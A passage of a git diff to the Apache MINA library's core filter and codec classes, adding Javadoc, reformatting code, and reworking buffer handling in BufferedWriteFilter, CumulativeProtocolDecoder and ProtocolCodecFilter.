WriteToClosedSessionException(WriteRequest request, String s) { - super(request, s); + /** + * Create a new WriteToClosedSessionException instance + * + * @param request The {@link WriteRequest} which has been written on a closed session + * @param message The error message + */ + public WriteToClosedSessionException(WriteRequest request, String message) { + super(request, message); } + /** + * Create a new WriteToClosedSessionException instance + * + * @param request The {@link WriteRequest} which has been written on a closed session + * @param cause The original exception + */ public WriteToClosedSessionException(WriteRequest request, Throwable cause) { super(request, cause); } + /** + * Create a new WriteToClosedSessionException instance + * + * @param request The {@link WriteRequest} which has been written on a closed session + + */ public WriteToClosedSessionException(WriteRequest request) { super(request); } diff --git a/mina-core/src/main/java/org/apache/mina/filter/FilterEvent.java b/mina-core/src/main/java/org/apache/mina/filter/FilterEvent.java new file mode 100644 index 0000000000..0bdf60d916 --- /dev/null +++ b/mina-core/src/main/java/org/apache/mina/filter/FilterEvent.java @@ -0,0 +1,28 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + * + */ +package org.apache.mina.filter; + +/** + * An empty interface that each Filter that is going to send a specific event must implement. + * + * @author Apache MINA Project + */ +public interface FilterEvent { +} diff --git a/mina-core/src/main/java/org/apache/mina/filter/buffer/BufferedWriteFilter.java b/mina-core/src/main/java/org/apache/mina/filter/buffer/BufferedWriteFilter.java index 01e2a4e24c..b36d282f7c 100644 --- a/mina-core/src/main/java/org/apache/mina/filter/buffer/BufferedWriteFilter.java +++ b/mina-core/src/main/java/org/apache/mina/filter/buffer/BufferedWriteFilter.java @@ -34,12 +34,12 @@ import org.slf4j.LoggerFactory; /** - * An {@link IoFilter} implementation used to buffer outgoing {@link WriteRequest} almost - * like what {@link BufferedOutputStream} does. Using this filter allows to be less dependent - * from network latency. It is also useful when a session is generating very small messages + * An {@link IoFilter} implementation used to buffer outgoing {@link WriteRequest} almost + * like what {@link BufferedOutputStream} does. Using this filter allows to be less dependent + * from network latency. It is also useful when a session is generating very small messages * too frequently and consequently generating unnecessary traffic overhead. * - * Please note that it should always be placed before the {@link ProtocolCodecFilter} + * Please note that it should always be placed before the {@link ProtocolCodecFilter} * as it only handles {@link WriteRequest}'s carrying {@link IoBuffer} objects. * * @author Apache MINA Project @@ -47,8 +47,7 @@ * @org.apache.xbean.XBean */ public final class BufferedWriteFilter extends IoFilterAdapter { - private final Logger logger = LoggerFactory - .getLogger(BufferedWriteFilter.class); + private static final Logger LOGGER = LoggerFactory.getLogger(BufferedWriteFilter.class); /** * Default buffer size value in bytes. @@ -75,7 +74,7 @@ public BufferedWriteFilter() { } /** - * Constructor which sets buffer size to bufferSize.Uses a default + * Constructor which sets buffer size to bufferSize.Uses a default * instance of {@link ConcurrentHashMap}. * * @param bufferSize the new buffer size @@ -85,26 +84,25 @@ public BufferedWriteFilter(int bufferSize) { } /** - * Constructor which sets buffer size to bufferSize. If - * buffersMap is null then a default instance of {@link ConcurrentHashMap} + * Constructor which sets buffer size to bufferSize. If + * buffersMap is null then a default instance of {@link ConcurrentHashMap} * is created else the provided instance is used. * * @param bufferSize the new buffer size - * @param buffersMap the map to use for storing each session buffer + * @param buffersMap the map to use for storing each session buffer */ - public BufferedWriteFilter(int bufferSize, - LazyInitializedCacheMap buffersMap) { + public BufferedWriteFilter(int bufferSize, LazyInitializedCacheMap buffersMap) { super(); this.bufferSize = bufferSize; if (buffersMap == null) { - this.buffersMap = new LazyInitializedCacheMap(); + this.buffersMap = new LazyInitializedCacheMap<>(); } else { this.buffersMap = buffersMap; } } /** - * Returns buffer size. + * @return The buffer size. */ public int getBufferSize() { return bufferSize; @@ -126,16 +124,14 @@ public void setBufferSize(int bufferSize) { * {@link IoBuffer} instance. */ @Override - public void filterWrite(NextFilter nextFilter, IoSession session, - WriteRequest writeRequest) throws Exception { + public void filterWrite(NextFilter nextFilter, IoSession session, WriteRequest writeRequest) throws Exception { Object data = writeRequest.getMessage(); if (data instanceof IoBuffer) { write(session, (IoBuffer) data); } else { - throw new IllegalArgumentException( - "This filter should only buffer IoBuffer objects"); + throw new IllegalArgumentException("This filter should only buffer IoBuffer objects"); } } @@ -146,8 +142,7 @@ public void filterWrite(NextFilter nextFilter, IoSession session, * @param data the data to buffer */ private void write(IoSession session, IoBuffer data) { - IoBuffer dest = buffersMap.putIfAbsent(session, - new IoBufferLazyInitializer(bufferSize)); + IoBuffer dest = buffersMap.putIfAbsent(session, new IoBufferLazyInitializer(bufferSize)); write(session, data, dest); } @@ -155,12 +150,12 @@ private void write(IoSession session, IoBuffer data) { /** * Writes data {@link IoBuffer} to the buf * {@link IoBuffer} which buffers write requests for the - * session {@ link IoSession} until buffer is full + * session {@link IoSession} until buffer is full * or manually flushed. * * @param session the session where buffer will be written * @param data the data to buffer - * @param buf the buffer where data will be temporarily written + * @param buf the buffer where data will be temporarily written */ private void write(IoSession session, IoBuffer data, IoBuffer buf) { try { @@ -170,20 +165,18 @@ private void write(IoSession session, IoBuffer data, IoBuffer buf) { * If the request length exceeds the size of the output buffer, * flush the output buffer and then write the data directly. */ - NextFilter nextFilter = session.getFilterChain().getNextFilter( - this); + NextFilter nextFilter = session.getFilterChain().getNextFilter(this); internalFlush(nextFilter, session, buf); nextFilter.filterWrite(session, new DefaultWriteRequest(data)); return; } if (len > (buf.limit() - buf.position())) { - internalFlush(session.getFilterChain().getNextFilter(this), - session, buf); + internalFlush(session.getFilterChain().getNextFilter(this), session, buf); } synchronized (buf) { buf.put(data); } - } catch (Throwable e) { + } catch (Exception e) { session.getFilterChain().fireExceptionCaught(e); } } @@ -196,15 +189,18 @@ private void write(IoSession session, IoBuffer data, IoBuffer buf) { * @param buf the data to write * @throws Exception if a write operation fails */ - private void internalFlush(NextFilter nextFilter, IoSession session, - IoBuffer buf) throws Exception { + private void internalFlush(NextFilter nextFilter, IoSession session, IoBuffer buf) throws Exception { IoBuffer tmp = null; synchronized (buf) { buf.flip(); tmp = buf.duplicate(); buf.clear(); } - logger.debug("Flushing buffer: {}", tmp); + + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("Flushing buffer: {}", tmp); + } + nextFilter.filterWrite(session, new DefaultWriteRequest(tmp)); } @@ -215,9 +211,8 @@ private void internalFlush(NextFilter nextFilter, IoSession session, */ public void flush(IoSession session) { try { - internalFlush(session.getFilterChain().getNextFilter(this), - session, buffersMap.get(session)); - } catch (Throwable e) { + internalFlush(session.getFilterChain().getNextFilter(this), session, buffersMap.get(session)); + } catch (Exception e) { session.getFilterChain().fireExceptionCaught(e); } } @@ -239,8 +234,7 @@ private void free(IoSession session) { * {@inheritDoc} */ @Override - public void exceptionCaught(NextFilter nextFilter, IoSession session, - Throwable cause) throws Exception { + public void exceptionCaught(NextFilter nextFilter, IoSession session, Throwable cause) throws Exception { free(session); nextFilter.exceptionCaught(session, cause); } @@ -249,8 +243,7 @@ public void exceptionCaught(NextFilter nextFilter, IoSession session, * {@inheritDoc} */ @Override - public void sessionClosed(NextFilter nextFilter, IoSession session) - throws Exception { + public void sessionClosed(NextFilter nextFilter, IoSession session) throws Exception { free(session); nextFilter.sessionClosed(session); } diff --git a/mina-core/src/main/java/org/apache/mina/filter/codec/AbstractProtocolDecoderOutput.java b/mina-core/src/main/java/org/apache/mina/filter/codec/AbstractProtocolDecoderOutput.java index 64ac583a8c..cc7d12fbc2 100644 --- a/mina-core/src/main/java/org/apache/mina/filter/codec/AbstractProtocolDecoderOutput.java +++ b/mina-core/src/main/java/org/apache/mina/filter/codec/AbstractProtocolDecoderOutput.java @@ -19,8 +19,11 @@ */ package org.apache.mina.filter.codec; +import java.util.ArrayDeque; import java.util.Queue; -import java.util.concurrent.ConcurrentLinkedQueue; + +import org.apache.mina.core.filterchain.IoFilter.NextFilter; +import org.apache.mina.core.session.IoSession; /** * A {@link ProtocolDecoderOutput} based on queue. @@ -28,16 +31,20 @@ * @author Apache MINA Project */ public abstract class AbstractProtocolDecoderOutput implements ProtocolDecoderOutput { - private final Queue messageQueue = new ConcurrentLinkedQueue(); + /** The queue where decoded messages are stored */ + protected final Queue messageQueue = new ArrayDeque<>(); + /** + * Creates a new instance of a AbstractProtocolDecoderOutput + */ public AbstractProtocolDecoderOutput() { // Do nothing } - public Queue getMessageQueue() { - return messageQueue; - } - + /** + * {@inheritDoc} + */ + @Override public void write(Object message) { if (message == null) { throw new IllegalArgumentException("message"); @@ -45,4 +52,16 @@ public void write(Object message) { messageQueue.add(message); } + + /** + * {@inheritDoc} + */ + @Override + public void flush(NextFilter nextFilter, IoSession session) { + Object message = null; + + while ((message = messageQueue.poll()) != null) { + nextFilter.messageReceived(session, message); + } + } } diff --git a/mina-core/src/main/java/org/apache/mina/filter/codec/AbstractProtocolEncoderOutput.java b/mina-core/src/main/java/org/apache/mina/filter/codec/AbstractProtocolEncoderOutput.java index c3c6812391..45ca398bef 100644 --- a/mina-core/src/main/java/org/apache/mina/filter/codec/AbstractProtocolEncoderOutput.java +++ b/mina-core/src/main/java/org/apache/mina/filter/codec/AbstractProtocolEncoderOutput.java @@ -19,79 +19,34 @@ */ package org.apache.mina.filter.codec; +import java.util.ArrayDeque; import java.util.Queue; -import java.util.concurrent.ConcurrentLinkedQueue; - -import org.apache.mina.core.buffer.IoBuffer; /** * A {@link ProtocolEncoderOutput} based on queue. * * @author Apache MINA Project */ -public abstract class AbstractProtocolEncoderOutput implements - ProtocolEncoderOutput { - private final Queue messageQueue = new ConcurrentLinkedQueue(); - - private boolean buffersOnly = true; +public abstract class AbstractProtocolEncoderOutput implements ProtocolEncoderOutput { + /** The queue where the decoded messages are stored */ + protected final Queue messageQueue = new ArrayDeque<>(); + /** + * Creates an instance of AbstractProtocolEncoderOutput + */ public AbstractProtocolEncoderOutput() { // Do nothing } - public Queue getMessageQueue() { - return messageQueue; - } - - public void write(Object encodedMessage) { - if (encodedMessage instanceof IoBuffer) { - IoBuffer buf = (IoBuffer) encodedMessage; - if (buf.hasRemaining()) { - messageQueue.offer(buf); - } else { - throw new IllegalArgumentException( - "buf is empty. Forgot to call flip()?"); - } - } else { - messageQueue.offer(encodedMessage); - buffersOnly = false; - } - } - - public void mergeAll() { - if (!buffersOnly) { - throw new IllegalStateException( - "the encoded message list contains a non-buffer."); - } - - final int size = messageQueue.size(); - - if (size < 2) { - // no need to merge! - return; - } - - // Get the size of merged BB - int sum = 0; - for (Object b : messageQueue) { - sum += ((IoBuffer) b).remaining(); - } - - // Allocate a new BB that will contain all fragments - IoBuffer newBuf = IoBuffer.allocate(sum); - - // and merge all. - for (; ;) { - IoBuffer buf = (IoBuffer) messageQueue.poll(); - if (buf == null) { - break; - } - - newBuf.put(buf); + /** + * {@inheritDoc} + */ + @Override + public void write(Object message) { + if (message == null) { + throw new IllegalArgumentException("message"); } - // Push the new buffer finally. - newBuf.flip(); - messageQueue.add(newBuf); + messageQueue.offer(message); } -} \ No newline at end of file +} diff --git a/mina-core/src/main/java/org/apache/mina/filter/codec/CumulativeProtocolDecoder.java b/mina-core/src/main/java/org/apache/mina/filter/codec/CumulativeProtocolDecoder.java index 26685c45a0..2a45306455 100644 --- a/mina-core/src/main/java/org/apache/mina/filter/codec/CumulativeProtocolDecoder.java +++ b/mina-core/src/main/java/org/apache/mina/filter/codec/CumulativeProtocolDecoder.java @@ -25,38 +25,36 @@ import org.apache.mina.core.session.IoSession; /** - * A {@link ProtocolDecoder} that cumulates the content of received - * buffers to a cumulative buffer to help users implement decoders. + * A {@link ProtocolDecoder} that cumulates the content of received buffers to a + * cumulative buffer to help users implement decoders. *

- * If the received {@link IoBuffer} is only a part of a message. - * decoders should cumulate received buffers to make a message complete or - * to postpone decoding until more buffers arrive. + * If the received {@link IoBuffer} is only a part of a message. decoders should + * cumulate received buffers to make a message complete or to postpone decoding + * until more buffers arrive. *

* Here is an example decoder that decodes CRLF terminated lines into * Command objects: + * *

- * public class CrLfTerminatedCommandLineDecoder
- *         extends CumulativeProtocolDecoder {
- *
+ * public class CrLfTerminatedCommandLineDecoder extends CumulativeProtocolDecoder {
+ * 
  *     private Command parseCommand(IoBuffer in) {
  *         // Convert the bytes in the specified buffer to a
  *         // Command object.
  *         ...
  *     }
- *
- *     protected boolean doDecode(
- *             IoSession session, IoBuffer in, ProtocolDecoderOutput out)
- *             throws Exception {
- *
+ * 
+ *     protected boolean doDecode(IoSession session, IoBuffer in, ProtocolDecoderOutput out) throws Exception {
+ * 
  *         // Remember the initial position.
  *         int start = in.position();
- *
+ * 
  *         // Now find the first CRLF in the buffer.
  *         byte previous = 0;
  *         while (in.hasRemaining()) {
  *             byte current = in.get();
- *
- *             if (previous == '\r' && current == '\n') {
+ * 
+ *             if (previous == '\r' && current == '\n') {
  *                 // Remember the current position and limit.
  *                 int position = in.position();
  *                 int limit = in.limit();
@@ -79,30 +77,36 @@
  *                 // buffer.
  *                 return true;
  *             }
- *
+ * 
  *             previous = current;
  *         }
- *
+ * 
  *         // Could not find CRLF in the buffer. Reset the initial
  *         // position to the one we recorded above.
  *         in.position(start);
- *
+ * 
  *         return false;
  *     }
  * }
  * 
*

* Please note that this decoder simply forward the call to - * {@link #doDecode(IoSession, IoBuffer, ProtocolDecoderOutput)} if the - * underlying transport doesn't have a packet fragmentation. Whether the + * doDecode(IoSession, IoBuffer, ProtocolDecoderOutput) if the + * underlying transport doesn't have a packet fragmentation. Whether the * transport has fragmentation or not is determined by querying * {@link TransportMetadata}. * * @author Apache MINA Project */ public abstract class CumulativeProtocolDecoder extends ProtocolDecoderAdapter { - - private final AttributeKey BUFFER = new AttributeKey(getClass(), "buffer"); + /** The buffer used to store the data in the session */ + private static final AttributeKey BUFFER = new AttributeKey(CumulativeProtocolDecoder.class, "buffer"); + + /** + * A flag set to true if we handle fragmentation accordingly to the TransportMetadata setting. + * It can be set to false if needed (UDP with fragments, for instance). the default value is 'true' + */ + private boolean transportMetadataFragmentation = true; /** * Creates a new instance. @@ -112,17 +116,19 @@ protected CumulativeProtocolDecoder() { } /** - * Cumulates content of in into internal buffer and forwards - * decoding request to {@link #doDecode(IoSession, IoBuffer, ProtocolDecoderOutput)}. - * doDecode() is invoked repeatedly until it returns false + * Cumulates content of in into internal buffer and forwards + * decoding request to + * doDecode(IoSession, IoBuffer, ProtocolDecoderOutput). + * doDecode() is invoked repeatedly until it returns false * and the cumulative buffer is compacted after decoding ends. * - * @throws IllegalStateException if your doDecode() returned - * true not consuming the cumulative buffer. + * @throws IllegalStateException + * if your doDecode() returned true not + * consuming the cumulative buffer. */ - public void decode(IoSession session, IoBuffer in, - ProtocolDecoderOutput out) throws Exception { - if (!session.getTransportMetadata().hasFragmentation()) { + @Override + public void decode(IoSession session, IoBuffer in, ProtocolDecoderOutput out) throws Exception { + if (transportMetadataFragmentation && !session.getTransportMetadata().hasFragmentation()) { while (in.hasRemaining()) { if (!doDecode(session, in, out)) { break; @@ -137,34 +143,27 @@ public void decode(IoSession session, IoBuffer in, // If we have a session buffer, append data to that; otherwise // use the buffer read from the network directly. if (buf != null) { - boolean appended = false; // Make sure that the buffer is auto-expanded. if (buf.isAutoExpand()) { try { buf.put(in); - appended = true; - } catch (IllegalStateException e) { + buf.flip(); + } catch (IllegalStateException | IndexOutOfBoundsException e) { // A user called derivation method (e.g. slice()), // which disables auto-expansion of the parent buffer. - } catch (IndexOutOfBoundsException e) { - // A user disabled auto-expansion. } - } - - if (appended) { - buf.flip(); } else { // Reallocate the buffer if append operation failed due to // derivation or disabled auto-expansion. buf.flip(); - IoBuffer newBuf = IoBuffer.allocate( - buf.remaining() + in.remaining()).setAutoExpand(true); + IoBuffer newBuf = IoBuffer.allocate(buf.remaining() + in.remaining()).setAutoExpand(true); newBuf.order(buf.order()); newBuf.put(buf); newBuf.put(in); newBuf.flip(); + buf.free(); buf = newBuf; - + // Update the session attribute. session.setAttribute(BUFFER, buf); } @@ -173,21 +172,37 @@ public void decode(IoSession session, IoBuffer in, usingSessionBuffer = false; } - for (;;) { - int oldPos = buf.position(); - boolean decoded = doDecode(session, buf, out); - if (decoded) { - if (buf.position() == oldPos) { - throw new IllegalStateException( - "doDecode() can't return true when buffer is not consumed."); - } - - if (!buf.hasRemaining()) { + try { + for (;;) { + int oldPos = buf.position(); + boolean decoded = doDecode(session, buf, out); + if (decoded) { + if (buf.position() == oldPos) { + throw new IllegalStateException("doDecode() can't return true when buffer is not consumed."); + } + + if (!buf.hasRemaining()) { + break; + } + } else { break; } - } else { - break; } + } catch (Exception | Error e) { + // doDecode() threw: the cumulative buffer is still flipped in + // read mode, with the messages decoded (and delivered) by the + // earlier iterations before its position. If we left it stored + // in the session, the next decode() call would append new data + // at the current position and flip the buffer again, re-reading + // - and re-delivering to the handler - those already-consumed + // messages. A decoding error may cost the accumulated remainder, + // but it must never replay consumed input, so discard the buffer + // before propagating the exception. + if (usingSessionBuffer) { + removeSessionBuffer(session); + } + + throw e; } // if there is any data left that cannot be decoded, we store @@ -210,20 +225,22 @@ public void decode(IoSession session, IoBuffer in, * Implement this method to consume the specified cumulative buffer and * decode its content into message(s). * + * @param session The current Session * @param in the cumulative buffer - * @return true if and only if there's more to decode in the buffer - * and you want to have doDecode method invoked again. - * Return false if remaining data is not enough to decode, - * then this method will be invoked again when more data is cumulated. - * @throws Exception if cannot decode in. + * @param out The {@link ProtocolDecoderOutput} that will receive the decoded message + * @return true if and only if there's more to decode in the buffer + * and you want to have doDecode method invoked again. + * Return false if remaining data is not enough to decode, + * then this method will be invoked again when more data is + * cumulated. + * @throws Exception if cannot decode in. */ - protected abstract boolean doDecode(IoSession session, IoBuffer in, - ProtocolDecoderOutput out) throws Exception; + protected abstract boolean doDecode(IoSession session, IoBuffer in, ProtocolDecoderOutput out) throws Exception; /** - * Releases the cumulative buffer used by the specified session. - * Please don't forget to call super.dispose( session ) when - * you override this method. + * Releases the cumulative buffer used by the specified session. + * Please don't forget to call super.dispose( session ) when you + * override this method. */ @Override public void dispose(IoSession session) throws Exception { @@ -231,7 +248,11 @@ public void dispose(IoSession session) throws Exception { } private void removeSessionBuffer(IoSession session) { - session.removeAttribute(BUFFER); + IoBuffer buf = (IoBuffer) session.removeAttribute(BUFFER); + + if (buf != null) { + buf.free(); + } } private void storeRemainingInSession(IoBuffer buf, IoSession session) { @@ -240,6 +261,18 @@ private void storeRemainingInSession(IoBuffer buf, IoSession session) { remainingBuf.order(buf.order()); remainingBuf.put(buf); + removeSessionBuffer(session); + session.setAttribute(BUFFER, remainingBuf); } + + /** + * Let the user change the way we handle fragmentation. If set to false, the + * decode() method will not check the TransportMetadata fragmentation capability + * + * @param transportMetadataFragmentation The flag to set. + */ + public void setTransportMetadataFragmentation(boolean transportMetadataFragmentation) { + this.transportMetadataFragmentation = transportMetadataFragmentation; + } } diff --git a/mina-core/src/main/java/org/apache/mina/filter/codec/ProtocolCodecException.java b/mina-core/src/main/java/org/apache/mina/filter/codec/ProtocolCodecException.java index 43bd9d0638..2da9354553 100644 --- a/mina-core/src/main/java/org/apache/mina/filter/codec/ProtocolCodecException.java +++ b/mina-core/src/main/java/org/apache/mina/filter/codec/ProtocolCodecException.java @@ -38,6 +38,8 @@ public ProtocolCodecException() { /** * Constructs a new instance with the specified message. + * + * @param message The detail message */ public ProtocolCodecException(String message) { super(message); @@ -45,6 +47,8 @@ public ProtocolCodecException(String message) { /** * Constructs a new instance with the specified cause. + * + * @param cause The Exception's cause */ public ProtocolCodecException(Throwable cause) { super(cause); @@ -53,6 +57,9 @@ public ProtocolCodecException(Throwable cause) { /** * Constructs a new instance with the specified message and the specified * cause. + * + * @param message The detail message + * @param cause The Exception's cause */ public ProtocolCodecException(String message, Throwable cause) { super(message, cause); diff --git a/mina-core/src/main/java/org/apache/mina/filter/codec/ProtocolCodecFactory.java b/mina-core/src/main/java/org/apache/mina/filter/codec/ProtocolCodecFactory.java index 17a94f331c..73e1f43e39 100644 --- a/mina-core/src/main/java/org/apache/mina/filter/codec/ProtocolCodecFactory.java +++ b/mina-core/src/main/java/org/apache/mina/filter/codec/ProtocolCodecFactory.java @@ -35,12 +35,20 @@ public interface ProtocolCodecFactory { /** * Returns a new (or reusable) instance of {@link ProtocolEncoder} which * encodes message objects into binary or protocol-specific data. + * + * @param session The current session + * @return The encoder instance + * @throws Exception If an error occurred while retrieving the encoder */ ProtocolEncoder getEncoder(IoSession session) throws Exception; /** * Returns a new (or reusable) instance of {@link ProtocolDecoder} which * decodes binary or protocol-specific data into message objects. + * + * @param session The current session + * @return The decoder instance + * @throws Exception If an error occurred while retrieving the decoder */ ProtocolDecoder getDecoder(IoSession session) throws Exception; } \ No newline at end of file diff --git a/mina-core/src/main/java/org/apache/mina/filter/codec/ProtocolCodecFilter.java b/mina-core/src/main/java/org/apache/mina/filter/codec/ProtocolCodecFilter.java index ab0424fafc..1f46c75249 100644 --- a/mina-core/src/main/java/org/apache/mina/filter/codec/ProtocolCodecFilter.java +++ b/mina-core/src/main/java/org/apache/mina/filter/codec/ProtocolCodecFilter.java @@ -27,14 +27,11 @@ import org.apache.mina.core.filterchain.IoFilter; import org.apache.mina.core.filterchain.IoFilterAdapter; import org.apache.mina.core.filterchain.IoFilterChain; -import org.apache.mina.core.future.DefaultWriteFuture; import org.apache.mina.core.future.WriteFuture; import org.apache.mina.core.session.AttributeKey; import org.apache.mina.core.session.IoSession; import org.apache.mina.core.write.DefaultWriteRequest; -import org.apache.mina.core.write.NothingWrittenException; import org.apache.mina.core.write.WriteRequest; -import org.apache.mina.core.write.WriteRequestWrapper; import org.slf4j.Logger; import org.slf4j.LoggerFactory; @@ -51,20 +48,23 @@ public class ProtocolCodecFilter extends IoFilterAdapter { private static final Logger LOGGER = LoggerFactory.getLogger(ProtocolCodecFilter.class); private static final Class[] EMPTY_PARAMS = new Class[0]; + private static final IoBuffer EMPTY_BUFFER = IoBuffer.wrap(new byte[0]); - private final AttributeKey ENCODER = new AttributeKey(ProtocolCodecFilter.class, "encoder"); - private final AttributeKey DECODER = new AttributeKey(ProtocolCodecFilter.class, "decoder"); - private final AttributeKey DECODER_OUT = new AttributeKey(ProtocolCodecFilter.class, "decoderOut"); - private final AttributeKey ENCODER_OUT = new AttributeKey(ProtocolCodecFilter.class, "encoderOut"); - + private static final AttributeKey ENCODER = new AttributeKey(ProtocolCodecFilter.class, "encoder"); + + private static final AttributeKey DECODER = new AttributeKey(ProtocolCodecFilter.class, "decoder"); + + private static final ProtocolDecoderOutputLocal DECODER_OUTPUT = new ProtocolDecoderOutputLocal(); + + private static final ProtocolEncoderOutputLocal ENCODER_OUTPUT = new ProtocolEncoderOutputLocal(); + /** The factory responsible for creating the encoder and decoder */ private final ProtocolCodecFactory factory; /** - * - * Creates a new instance of ProtocolCodecFilter, associating a factory - * for the creation of the encoder and decoder. + * Creates a new instance of ProtocolCodecFilter, associating a factory for the + * creation of the encoder and decoder. * * @param factory The associated factory */ @@ -72,21 +72,19 @@ public ProtocolCodecFilter(ProtocolCodecFactory factory) { if (factory == null) { throw new IllegalArgumentException("factory"); } - + this.factory = factory; } - /** - * Creates a new instance of ProtocolCodecFilter, without any factory. - * The encoder/decoder factory will be created as an inner class, using - * the two parameters (encoder and decoder). + * Creates a new instance of ProtocolCodecFilter, without any factory. The + * encoder/decoder factory will be created as an inner class, using the two + * parameters (encoder and decoder). * * @param encoder The class responsible for encoding the message * @param decoder The class responsible for decoding the message */ - public ProtocolCodecFilter(final ProtocolEncoder encoder, - final ProtocolDecoder decoder) { + public ProtocolCodecFilter(final ProtocolEncoder encoder, final ProtocolDecoder decoder) { if (encoder == null) { throw new IllegalArgumentException("encoder"); } @@ -96,10 +94,18 @@ public ProtocolCodecFilter(final ProtocolEncoder encoder, // Create the inner Factory based on the two parameters this.factory = new ProtocolCodecFactory() { + /** + * {@inheritDoc} + */ + @Override public ProtocolEncoder getEncoder(IoSession session) { return encoder; } + /** + * {@inheritDoc} + */ + @Override public ProtocolDecoder getDecoder(IoSession session) { return decoder; } @@ -107,16 +113,15 @@ public ProtocolDecoder getDecoder(IoSession session) { } /** - * Creates a new instance of ProtocolCodecFilter, without any factory. - * The encoder/decoder factory will be created as an inner class, using - * the two parameters (encoder and decoder), which are class names. Instances - * for those classes will be created in this constructor. + * Creates a new instance of ProtocolCodecFilter, without any factory. The + * encoder/decoder factory will be created as an inner class, using the two + * parameters (encoder and decoder), which are class names. Instances for those + * classes will be created in this constructor. * - * @param encoder The class responsible for encoding the message - * @param decoder The class responsible for decoding the message + * @param encoderClass The class responsible for encoding the message + * @param decoderClass The class responsible for decoding the message */ - public ProtocolCodecFilter( - final Class encoderClass, + public ProtocolCodecFilter(final Class encoderClass, final Class decoderClass) { if (encoderClass == null) { throw new IllegalArgumentException("encoderClass"); @@ -125,57 +130,58 @@ public ProtocolCodecFilter( throw new IllegalArgumentException("decoderClass"); } if (!ProtocolEncoder.class.isAssignableFrom(encoderClass)) { - throw new IllegalArgumentException("encoderClass: " - + encoderClass.getName()); + throw new IllegalArgumentException("encoderClass: " + encoderClass.getName()); } if (!ProtocolDecoder.class.isAssignableFrom(decoderClass)) { - throw new IllegalArgumentException("decoderClass: " - + decoderClass.getName()); + throw new IllegalArgumentException("decoderClass: " + decoderClass.getName()); } try { encoderClass.getConstructor(EMPTY_PARAMS); } catch (NoSuchMethodException e) { - throw new IllegalArgumentException( - "encoderClass doesn't have a public default constructor."); + throw new IllegalArgumentException("encoderClass doesn't have a public default constructor."); } try { decoderClass.getConstructor(EMPTY_PARAMS); } catch (NoSuchMethodException e) { - throw new IllegalArgumentException( - "decoderClass doesn't have a public default constructor."); + throw new IllegalArgumentException("decoderClass doesn't have a public default constructor."); } final ProtocolEncoder encoder; - + try { encoder = encoderClass.newInstance(); } catch (Exception e) { - throw new IllegalArgumentException( - "encoderClass cannot be initialized"); + throw new IllegalArgumentException("encoderClass cannot be initialized"); } final ProtocolDecoder decoder; - + try { decoder = decoderClass.newInstance(); } catch (Exception e) { - throw new IllegalArgumentException( - "decoderClass cannot be initialized"); + throw new IllegalArgumentException("decoderClass cannot be initialized"); } - + // Create the inner factory based on the two parameters. this.factory = new ProtocolCodecFactory() { + /** + * {@inheritDoc} + */ + @Override public ProtocolEncoder getEncoder(IoSession session) throws Exception { return encoder; } + /** + * {@inheritDoc} + */ + @Override public ProtocolDecoder getDecoder(IoSession session) throws Exception { return decoder; } }; } - /** * Get the encoder instance from a given session. * @@ -186,71 +192,68 @@ public ProtocolEncoder getEncoder(IoSession session) { return (ProtocolEncoder) session.getAttribute(ENCODER); } + /** + * {@inheritDoc} + */ @Override - public void onPreAdd(IoFilterChain parent, String name, - NextFilter nextFilter) throws Exception { + public void onPreAdd(IoFilterChain parent, String name, NextFilter nextFilter) throws Exception { if (parent.contains(this)) { throw new IllegalArgumentException( "You can't add the same filter instance more than once. Create another instance and add it."); } } + /** + * {@inheritDoc} + */ @Override - public void onPostRemove(IoFilterChain parent, String name, - NextFilter nextFilter) throws Exception { + public void onPostRemove(IoFilterChain parent, String name, NextFilter nextFilter) throws Exception { // Clean everything disposeCodec(parent.getSession()); } /** * Process the incoming message, calling the session decoder. As the incoming - * buffer might contains more than one messages, we have to loop until the decoder - * throws an exception. + * buffer might contains more than one messages, we have to loop until the + * decoder throws an exception. + * + * while ( buffer not empty ) try decode ( buffer ) catch break; * - * while ( buffer not empty ) - * try - * decode ( buffer ) - * catch - * break; - * */ @Override - public void messageReceived(NextFilter nextFilter, IoSession session, - Object message) throws Exception { - LOGGER.debug( "Processing a MESSAGE_RECEIVED for session {}", session.getId() ); - + public void messageReceived(final NextFilter nextFilter, final IoSession session, final Object message) + throws Exception { + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("Processing a MESSAGE_RECEIVED for session {}", session.getId()); + } + if (!(message instanceof IoBuffer)) { nextFilter.messageReceived(session, message); return; } - IoBuffer in = (IoBuffer) message; - ProtocolDecoder decoder = factory.getDecoder(session); - ProtocolDecoderOutput decoderOut = getDecoderOut(session, nextFilter); - + final IoBuffer in = (IoBuffer) message; + final ProtocolDecoder decoder = factory.getDecoder(session); + final ProtocolDecoderOutputImpl decoderOut = DECODER_OUTPUT.get(); + // Loop until we don't have anymore byte in the buffer, - // or until the decoder throws an unrecoverable exception or - // can't decoder a message, because there are not enough + // or until the decoder throws an unrecoverable exception or + // can't decoder a message, because there are not enough // data in the buffer while (in.hasRemaining()) { int oldPos = in.position(); - try { - synchronized (decoderOut) { - // Call the decoder with the read bytes - decoder.decode(session, in, decoderOut); - } - + // Call the decoder with the read bytes + decoder.decode(session, in, decoderOut); // Finish decoding if no exception was thrown. decoderOut.flush(nextFilter, session); - } catch (Throwable t) { + } catch (Exception e) { ProtocolDecoderException pde; - if (t instanceof ProtocolDecoderException) { - pde = (ProtocolDecoderException) t; + if (e instanceof ProtocolDecoderException) { + pde = (ProtocolDecoderException) e; } else { - pde = new ProtocolDecoderException(t); + pde = new ProtocolDecoderException(e); } - if (pde.getHexdump() == null) { // Generate a message hex dump int curPos = in.position(); @@ -258,44 +261,42 @@ public void messageReceived(NextFilter nextFilter, IoSession session, pde.setHexdump(in.getHexDump()); in.position(curPos); } - // Fire the exceptionCaught event. decoderOut.flush(nextFilter, session); nextFilter.exceptionCaught(session, pde); - // Retry only if the type of the caught exception is // recoverable and the buffer position has changed. // We check buffer position additionally to prevent an // infinite loop. - if (!(t instanceof RecoverableProtocolDecoderException) || - (in.position() == oldPos)) { + if 